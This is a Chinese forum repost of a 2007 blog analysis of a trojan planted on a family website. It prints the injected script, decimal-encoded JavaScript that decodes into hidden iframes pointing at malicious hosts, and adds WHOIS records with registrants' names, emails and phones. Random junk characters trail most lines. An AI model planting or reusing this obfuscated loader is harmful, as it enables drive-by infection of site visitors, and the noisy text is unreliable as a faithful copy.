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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, 9/46%=&]  
7+8bL{  
http://www.areway.cn/?p=175 sFx$>:$  
(4ZLpsbJ  
eiB(VOJ  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: Q<'@V@H  
          03"#J2b  
<script>t=’60,105,102,114,97,109,101, PJwEA  
32,115,114,99,61,104,116,116,112,58,47,47, .HDebi  
102,114,101,101,46,117,45,117,117,117,46,99, "o==4?*L  
110,47,101,114,114,111,114,46,104,116,109, =tq7z =k  
32,119,105,100,116,104,61,49,48,48,32,104, L w*1 .~  
101,105,103,104,116,61,48,62,60,47,105,102, {{zua- F  
114,97,109,101,62′; r`>~Lp`  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> J[+Tj @n'  
                                                                                                  TAAR'Jz S  
<script>t=’60,105,102,114,97,109,101,32,115, >C^/,/%v  
114,99,61,104,116,116,112,58,47,47,102,114, 0# UAjT3  
101,101,46,117,45,117,117,117,46,99,110,47, P%jkKE?B4  
101,114,114,111,114,46,104,116,109,32,119, [Y oa"K  
105,100,116,104,61,49,48,48,32,104,101,105, Ltg-w\?]  
103,104,116,61,48,62,60,47,105,102,114,97, 7 s-`QdWX  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); y[p6y[r*  
document.write(t);</script> Bfn]-]>sD  
                                                                                                  CRd_}  
<html xmlns=” -&7=uRQk  
http://www.w3.org/1999/xhtml e@+v9Bs]q  
“> Ei~]iZ}  
<head> yUj;4vd  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> o3= .T+B  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> '}fel5YV  
<title>首页 - 爱生活家庭网 JOgmF_(>Z  
                                                                                                                                                    [wIKK/O  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 -g$O OJB6  
转换字符串后的大概内容是(谁点击后果自付): _X?y ,#  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… z=%IcSx;  
                                                                                                                                  &08 Tns"  
查询玉米u-uuu.cn的详细信息: `x< 0A  
Domain Name: u-uuu.cn &0i71!Oy  
ROID: 20070901s10001s64972306-cn * T\>  
Domain Status: ok $uTlbAuv  
Registrant Organization: 王雷 h+ TB]  
Registrant Name: 王雷 & ]%\.m  
Administrative Email: czlovexs@126.com 6i^0T  
Sponsoring Registrar: 北京万网志成科技有限公司 ~CulFxu  
Name Server:ns.yovole.com (A|B@a!Y>  
Name Server:ns1.yovole.com o:f|zf> i<  
Registration Date: 2007-09-01 17:54 jiOf')d5  
Expiration Date: 2008-09-01 17:54 y,1S& k  
最后PING了一下地址 都没有什么…. <JJkki  
                                                                                                i!y\WaCp  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. d^_itC;-,  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> f0g6g!&gf  
<script language=”javascript” src=” =X<)5IS3  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script xz="|HD);  
> BMe72  
这个玉米应该有可能是木马作者的: myffYK,  
foafau.info的详细信息: T+3k$G[e/  
Access to INFO WHOIS information is provided to assist persons in 3me<~u  
determining the contents of a domain name registration record in the 89ZDOji?O  
Afilias registry database. The data in this record is provided by i"KL;t[1  
Afilias Limited for informational purposes only, and Afilias does not AwA1&mh  
guarantee its accuracy.  This service is intended only for query-based )m)h/_  
access. You agree that you will use this data only for lawful purposes JJ)y2  
and that, under no circumstances will you use this data to: (a) allow, K"G(?<>~4c  
enable, or otherwise support the transmission by e-mail, telephone, or f};!m=b  
facsimile of mass unsolicited, commercial advertising or solicitations #<D@3ScC  
to entities other than the data recipient’s own existing customers; or US"2O!u  
(b) enable high volume, automated, electronic processes that send rg"TJ"Q-  
queries or data to the systems of Registry Operator, a Registrar, or J~fuW?a]r  
Afilias except as reasonably necessary to register domain names or 5=Zp%[ #  
modify existing registrations. All rights reserved. Afilias reserves L>i<dD{  
the right to modify these terms at any time. By submitting this query, 0>8ZN!@K  
you agree to abide by this policy. :R{x]sv  
Domain ID:D22418703-LRMS u;QH8LK  
Domain Name:FOAFAU.INFO 4$qNcMdz  
Created On:20-Nov-2007 16:05:42 UTC [Aa[&RX+9  
Last Updated On:20-Nov-2007 16:05:44 UTC +q$xw}+PK  
Expiration Date:20-Nov-2008 16:05:42 UTC _ Eszr(zJ  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) j #4+-  
Status:CLIENT DELETE PROHIBITED ,K`E&hS  
Status:CLIENT RENEW PROHIBITED <tGI]@Nwk  
Status:CLIENT TRANSFER PROHIBITED #I bS  
Status:CLIENT UPDATE PROHIBITED m`[oT\  
Status:TRANSFER PROHIBITED cYE./1D a  
Registrant ID:GODA-040110615 i=x.tsJ:hB  
Registrant Name:liu hong ?hP<@L6K  
Registrant Organization: \IO$ +Guh  
Registrant Street1:beijing {c&qB`y<.  
Registrant Street2: 5F% h>tqh  
Registrant Street3: jM{(8aUG  
Registrant City:beijing $(Z]TS$M&  
Registrant State/Province: N:"M&E UM  
Registrant Postal Code:100000 m j'"Z75  
Registrant Country:CN ^mS.HT=X  
Registrant Phone:+86.860108888777 z +y;y&P  
Registrant Phone Ext.: BLWA!-  
Registrant FAX: |Gf1^8:C9  
Registrant FAX Ext.: EY,;e\7O,  
Registrant Email:bbbshiji@163.com )w^GP lh  
Admin ID:GODA-240110615 NKupOJJq  
Admin Name:liu hong dcV,_  
Admin Organization: {d&X/tT  
Admin Street1:beijing )er?*^9Z  
Admin Street2: nNd`]F^U  
Admin Street3: j;$6F/g  
Admin City:beijing ]J8KCjq@  
Admin State/Province: G5y]^P  
Admin Postal Code:100000 82G lbd)  
Admin Country:CN >DPds~k  
Admin Phone:+86.860108888777 V:nMo2'hb  
Admin Phone Ext.: H ={O13  
Admin FAX: n1fE daa7g  
Admin FAX Ext.: {QIS411  
Admin Email:bbbshiji@163.com 61ON  
Billing ID:GODA-340110615 c+}!yH$  
Billing Name:liu hong R4z<Xf:!  
Billing Organization: 94Kuy@0:+  
Billing Street1:beijing 8@9hU`H8l  
Billing Street2: 6R$ F =MB  
Billing Street3: Y&K<{ KA\4  
Billing City:beijing Wq=ZU\Y  
Billing State/Province: lGD%R'}  
Billing Postal Code:100000 1(#*'xR  
Billing Country:CN b#?ai3E  
Billing Phone:+86.860108888777 fxLE]VJQ  
Billing Phone Ext.: X|lElN  
Billing FAX: +0oyt?  
Billing FAX Ext.: c4!c_a2pS  
Billing Email:bbbshiji@163.com .Um?5wG~i  
Tech ID:GODA-140110615 =!1-AR%.^  
Tech Name:liu hong v#FJ+  
Tech Organization: {ar5c&<  
Tech Street1:beijing 'xLM>6[wz  
Tech Street2: ,v$2'm)V  
Tech Street3: ~#HH;q_7m  
Tech City:beijing GFASF,+  
Tech State/Province: /8P4%[\  
Tech Postal Code:100000 >o0&:h|>$'  
Tech Country:CN T:w2  
Tech Phone:+86.860108888777 }mtC6G41Q  
Tech Phone Ext.: e]dPF[?7  
Tech FAX: kuKnJWv  
Tech FAX Ext.: \Y>#^b?  
Tech Email:bbbshiji@163.com {UV<=R,E  
Name Server:NS27.DOMAINCONTROL.COM Z>>gXh<e[  
Name Server:NS28.DOMAINCONTROL.COM Z=e[ !c  
Name Server: N+C%Z[gt[  
Name Server: q:EzKrE  
Name Server: V8KTNt%  
Name Server: rC1qGzg\a  
Name Server: 0~@L%~  
Name Server: BCa90  
Name Server: a6 #{2q  
Name Server: c1)BGy li  
Name Server: "FLD%3l  
Name Server: k vue@  
Name Server: n!CP_  
                                                                                                          ]sm0E@1  
接着下载每个文件里面的代码: +_-)0[+p  
一步一步看.. f<s'prF  
^Q43)H0  
8IT_mjj  
]Nd'%M  
mAYr<=  
!5' 8a5  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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